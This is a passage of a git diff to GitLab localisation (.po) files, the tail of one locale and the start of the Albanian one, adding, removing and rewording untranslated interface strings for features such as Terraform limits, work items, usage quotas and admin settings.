@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 9060126622c..ddc9b74ae56 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
